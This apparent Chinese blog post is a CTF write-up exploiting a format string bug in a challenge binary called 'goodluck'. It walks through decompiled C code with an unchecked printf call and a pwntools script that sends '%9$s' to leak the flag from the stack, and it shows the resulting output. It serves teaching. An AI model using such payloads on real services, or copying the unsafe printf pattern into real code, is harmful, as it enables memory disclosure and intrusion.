美文网首页
格式化字符串漏洞实验例子(一)easy

格式化字符串漏洞实验例子(一)easy

作者: 鸡龙 | 来源:发表于2019-03-10 22:17 被阅读0次

1、goodluck

例子出处github,点击访问

checksec查防
root@user-virtual-machine:/mnt/hgfs/CTF/share/goodluck# checksec goodluck
[*] '/mnt/hgfs/CTF/share/goodluck/goodluck'
    Arch:     amd64-64-little
    RELRO:    Partial RELRO
    Stack:    Canary found
    NX:       NX enabled
    PIE:      No PIE (0x400000)

再用ida,ctrl+f5转c代码
目的要将flag.txt中的内容输出

int __cdecl main(int argc, const char **argv, const char **envp)
{
  char v4; // [rsp+3h] [rbp-3Dh]
  signed int i; // [rsp+4h] [rbp-3Ch]
  signed int j; // [rsp+4h] [rbp-3Ch]
  char *format; // [rsp+8h] [rbp-38h]
  _IO_FILE *fp; // [rsp+10h] [rbp-30h]
  char *v9; // [rsp+18h] [rbp-28h]
  char v10[24]; // [rsp+20h] [rbp-20h]
  unsigned __int64 v11; // [rsp+38h] [rbp-8h]

  v11 = __readfsqword(0x28u);
  fp = fopen("flag.txt", "r");
  for ( i = 0; i <= 21; ++i )
    v10[i] = _IO_getc(fp);
  fclose(fp);
  v9 = v10;
  puts("what's the flag");
  fflush(_bss_start);
  format = 0LL;
  __isoc99_scanf("%ms", &format);
  for ( j = 0; j <= 21; ++j )
  {
    v4 = format[j];
    if ( !v4 || v10[j] != v4 )
    {
      puts("You answered:");
      printf(format);
      puts("\nBut that was totally wrong lol get rekt");
      fflush(_bss_start);
      return 0;
    }
  }
  printf("That's right, the flag is %s\n", v9);
  fflush(_bss_start);
  return 0;
}

该处for循环发现printf函数

  for ( j = 0; j <= 21; ++j )
  {
    v4 = format[j];
    if ( !v4 || v10[j] != v4 )
    {
      puts("You answered:");
      printf(format);
      puts("\nBut that was totally wrong lol get rekt");
      fflush(_bss_start);
      return 0;
    }

对其进行printf断点分析


对输出flag处地址进行计算偏移量


image.png

计算出偏移量为10
我们需要输入9个参数来到达覆盖位置
payload

from pwn import *
from LibcSearcher import *
goodluck = ELF('./goodluck')
if args['REMOTE']:
    sh = remote('pwn.sniperoj.cn', 30017)
else:
    sh = process('./goodluck')
payload = "%9$s"
print payload
##gdb.attach(sh)
sh.sendline(payload)
print sh.recv()
sh.interactive()

成功输出

[*] '/mnt/hgfs/CTF/share/goodluck/goodluck'
    Arch:     amd64-64-little
    RELRO:    Partial RELRO
    Stack:    Canary found
    NX:       NX enabled
    PIE:      No PIE (0x400000)
[+] Starting local process './goodluck': pid 21457
%9$s
[DEBUG] Sent 0x5 bytes:
    '%9$s\n'
[*] Process './goodluck' stopped with exit code 0 (pid 21457)
[DEBUG] Received 0x5d bytes:
    "what's the flag\n"
    'You answered:\n'
    'flag{12131111111111112\n'
    'But that was totally wrong lol get rekt\n'
what's the flag
You answered:
flag{12131111111111112
But that was totally wrong lol get rekt

[*] Switching to interactive mode
[*] Got EOF while reading in interactive
$  

相关文章

  • 格式化字符串漏洞实验例子(一)easy

    1、goodluck 例子出处github,点击访问 checksec查防 再用ida,ctrl+f5转c代码目的...

  • 格式化字符串漏洞实验(转载)

    格式化字符串漏洞实验一、 实验描述格式化字符串漏洞是由像 printf(user_input) 这样的代码引起的,...

  • 格式化字符串

    格式化字符串漏洞网上讲的也很多,这里就不对漏洞进行解释了,直接讲怎么做题,以湖湘杯的pwn200为例子: 拿到题目...

  • lab9

    格式化字符串漏洞,不过是有点蛇皮的格式化字符串,学到了不少新姿势 很明显的格式化字符串,但同时也可以发现,我们的输...

  • 格式化字符串漏洞实验

    %n 是干嘛的? stackoverflow 的回答 引自乌云 中国科技大学曾凡平教授讲义

  • 2019-10-21

    python 字符串格式化 字符串格式化 字符串插入很多变量 一个例子 name='tom' height=170...

  • hxb2017 pwne easy format vuln

    pwntools 对格式化字符串漏洞payload的支持 这题本身没啥好记的,就是一个简单的格式化漏洞,但是有个p...

  • 再谈格式化字符串

    pwn真的是爸爸,好多已经做过的实验再做一遍又会有不同的体会 还是这份代码: 很明显的格式化字符串漏洞对吧这次我用...

  • isitdtuctf_pwn_wp

    babyformat x32 elf | FULL RELRP , NX , PIE 漏洞点 : 格式化字符串 限...

  • 攻防世界 string wp

    参考:CTF-wiki格式化字符串漏洞利用 0x01寻找漏洞 -checksec -在IDA中对文件进行分析。 查...

网友评论

      本文标题:格式化字符串漏洞实验例子(一)easy

      本文链接:https://www.haomeiwen.com/subject/mnappqtx.html